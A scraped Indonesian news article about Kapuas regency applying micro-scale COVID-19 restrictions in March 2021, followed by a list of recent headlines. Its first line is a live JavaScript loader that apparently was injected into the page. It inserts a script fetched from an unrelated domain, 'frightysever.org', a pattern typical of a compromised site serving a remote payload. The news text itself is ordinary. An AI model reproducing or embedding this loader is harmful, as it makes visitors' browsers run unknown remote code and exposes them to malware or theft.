(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pemkab Kapuas Terapkan PPKM Mikro


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) skala mikro. Dimulai 23 Maret 2021 sampai dengan 5 April 2021 mendatang.

Hal itu terungkap dalam Rapat koordinasi (Rakor) tentang PPKM mikro yang dipimpin Bupati Kapuas, Ben Brahim S Bahat bersama unsur Forkopimda, seluruh camat, lurah dan SOPD terkait lainnya, tokoh masyarakat, tokoh agama, pelaku usaha, di aula Bappeda Kapuas, Selasa (23/3/2021).

Ketua Harian Gugas Covid-19 Kapuas, Panahatan Sinaga usai rakor, menyampaikan, dasar pelaksanaan PPKM yaitu Instruksi Menteri Dalam Negeri Republik Indonesia (RI) Nomor 06 Tahun 2021 tentang perpanjangan PPKM berbasis mikro dan mengoptimalkan Posko Penanganan Covid-19 di tingkat desa dan kelurahan untuk pengendalian penyebaran Covid-19. Serta Instruksi Gubernur Kalteng nomor 180.17/24/2021 tanggal 19 Maret 2021 tentang PPKM Berbasis mikro dan pelaksanaan Posko penanganan Covid-19 tingkat desa dan kelurahan di wilayah Provinsi Kalteng.

“Sesuai kesepakatan rapat ini, dan rujukan regulasi lebih tinggi, memang pelaksanaan PPKM itu harus dilaksanakan selama kurun waktu 14 hari,” kata Sinaga.

 

Lanjut Sinaga, menyampaikan, semua kecamatan melaksanakan PPKM mikro, tetapi dalam pelaksanaannya lebih fokus atau diperketat progresnya di wilayah Kecamatan Selat.

Rapat koordinasi (Rakor) tentang PPKM mikro yang dipimpin Bupati Kapuas, Ben Brahim S Bahat bersama unsur Forkopimda, Selasa (23/3/2021). Foto: ags

“Karena berdasarkan data bahwa Kecamatan Selat ini sudah zona merah, dibanding dengan kecamatan lain,” jelasnya.

Dari hasil rapat itu, lanjut dia, ada output berupa Instruksi Bupati yang hasilnya sudah disepakati dan tinggal disempurnakan untuk disiapkan draft yang akan ditandatangani Bupati.

“PSBB dulukan skala besar, kalau PPKM mikro ini skala mini, lebih kepada penekanan ke desa dan kelurahan,” bebernya.

Pelaksanaannya nanti membatasi pergerakan masyarakat, mengatur kegiatan ekonomi antara lain rumah makan dan sejenisnya bahwa PPKM itu boleh buka, tetapi akan ada pembatasan.

“Misalnya untuk rumah makan dibatasi kapasitas pengunjung yang makan di tempat. Jika sudah sesuai kapasitas ditentukan itu penuh, maka selebihnya bungkus atau take away saja dan tetap mengatur jarak,” terang dia. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk

Al Ghifari

Recent Posts

21 Lansia Ikuti Wisuda Sekolah Lansia di Kabupaten Balangan

KANALKALIMANTAN. COM, PARINGIN - Sebanyak 21 Lansia terdiri 19 wisudawati dan dua wisudawan, mengikuti wisuda… Read More

4 menit ago

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

6 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

8 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

9 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

9 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

11 jam ago

This website uses cookies.